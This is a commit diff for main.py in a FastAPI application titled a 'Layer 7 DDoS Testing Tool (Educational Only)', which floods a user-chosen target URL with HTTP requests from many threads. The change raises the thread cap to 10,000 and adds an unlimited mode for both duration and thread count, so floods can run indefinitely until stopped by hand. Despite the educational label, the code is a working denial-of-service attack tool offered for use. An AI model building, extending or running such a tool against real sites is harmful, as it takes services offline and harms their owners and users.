Update main.py
Browse files
main.py
CHANGED
|
@@ -17,13 +17,13 @@ app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
|
|
| 17 |
# Global attack control
|
| 18 |
attack_active = False
|
| 19 |
attack_thread = None
|
| 20 |
-
executor = ThreadPoolExecutor(max_workers=
|
| 21 |
|
| 22 |
class AttackConfig(BaseModel):
|
| 23 |
target: str # http:// or https://
|
| 24 |
port: Optional[int] = None
|
| 25 |
-
duration: int # seconds
|
| 26 |
-
threads: int = 100 # number of concurrent threads
|
| 27 |
|
| 28 |
def flood_target(target_url: str):
|
| 29 |
headers = {
|
|
@@ -49,17 +49,23 @@ def start_attack(config: AttackConfig):
|
|
| 49 |
port = config.port or (443 if protocol == "https" else 80)
|
| 50 |
target_url = f"{config.target}:{port}"
|
| 51 |
|
| 52 |
-
|
|
|
|
|
|
|
|
|
|
| 53 |
|
| 54 |
# Launch threads
|
| 55 |
futures = []
|
| 56 |
-
for _ in range(
|
| 57 |
future = executor.submit(flood_target, target_url)
|
| 58 |
futures.append(future)
|
| 59 |
|
| 60 |
-
#
|
| 61 |
-
|
| 62 |
-
|
|
|
|
|
|
|
|
|
|
| 63 |
|
| 64 |
logger.info("Attack completed.")
|
| 65 |
|
|
@@ -74,11 +80,13 @@ def launch_attack(config: AttackConfig):
|
|
| 74 |
if attack_thread and attack_thread.is_alive():
|
| 75 |
raise HTTPException(status_code=400, detail="Attack already in progress")
|
| 76 |
|
| 77 |
-
|
| 78 |
-
|
|
|
|
| 79 |
|
| 80 |
-
|
| 81 |
-
|
|
|
|
| 82 |
|
| 83 |
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
|
| 84 |
attack_thread.start()
|
|
@@ -94,4 +102,4 @@ def status():
|
|
| 94 |
return {"attack_active": attack_active}
|
| 95 |
|
| 96 |
if __name__ == "__main__":
|
| 97 |
-
uvicorn.run(app, host="0.0.0.0", port=8000)
|
|
|
|
| 17 |
# Global attack control
|
| 18 |
attack_active = False
|
| 19 |
attack_thread = None
|
| 20 |
+
executor = ThreadPoolExecutor(max_workers=10000) # Increased max threads
|
| 21 |
|
| 22 |
class AttackConfig(BaseModel):
|
| 23 |
target: str # http:// or https://
|
| 24 |
port: Optional[int] = None
|
| 25 |
+
duration: int # seconds (-1 for unlimited)
|
| 26 |
+
threads: int = 100 # number of concurrent threads (-1 for unlimited)
|
| 27 |
|
| 28 |
def flood_target(target_url: str):
|
| 29 |
headers = {
|
|
|
|
| 49 |
port = config.port or (443 if protocol == "https" else 80)
|
| 50 |
target_url = f"{config.target}:{port}"
|
| 51 |
|
| 52 |
+
# Determine thread count
|
| 53 |
+
thread_count = config.threads if config.threads != -1 else 10000 # Use max if -1
|
| 54 |
+
|
| 55 |
+
logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {thread_count} threads")
|
| 56 |
|
| 57 |
# Launch threads
|
| 58 |
futures = []
|
| 59 |
+
for _ in range(thread_count):
|
| 60 |
future = executor.submit(flood_target, target_url)
|
| 61 |
futures.append(future)
|
| 62 |
|
| 63 |
+
# Handle unlimited duration (-1)
|
| 64 |
+
if config.duration != -1:
|
| 65 |
+
time.sleep(config.duration)
|
| 66 |
+
stop_attack()
|
| 67 |
+
else:
|
| 68 |
+
logger.info("Attack running indefinitely until manually stopped")
|
| 69 |
|
| 70 |
logger.info("Attack completed.")
|
| 71 |
|
|
|
|
| 80 |
if attack_thread and attack_thread.is_alive():
|
| 81 |
raise HTTPException(status_code=400, detail="Attack already in progress")
|
| 82 |
|
| 83 |
+
# Validate thread count
|
| 84 |
+
if config.threads != -1 and config.threads > 10000:
|
| 85 |
+
raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
|
| 86 |
|
| 87 |
+
# Validate duration
|
| 88 |
+
if config.duration != -1 and config.duration > 5000:
|
| 89 |
+
raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
|
| 90 |
|
| 91 |
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
|
| 92 |
attack_thread.start()
|
|
|
|
| 102 |
return {"attack_active": attack_active}
|
| 103 |
|
| 104 |
if __name__ == "__main__":
|
| 105 |
+
uvicorn.run(app, host="0.0.0.0", port=8000)
|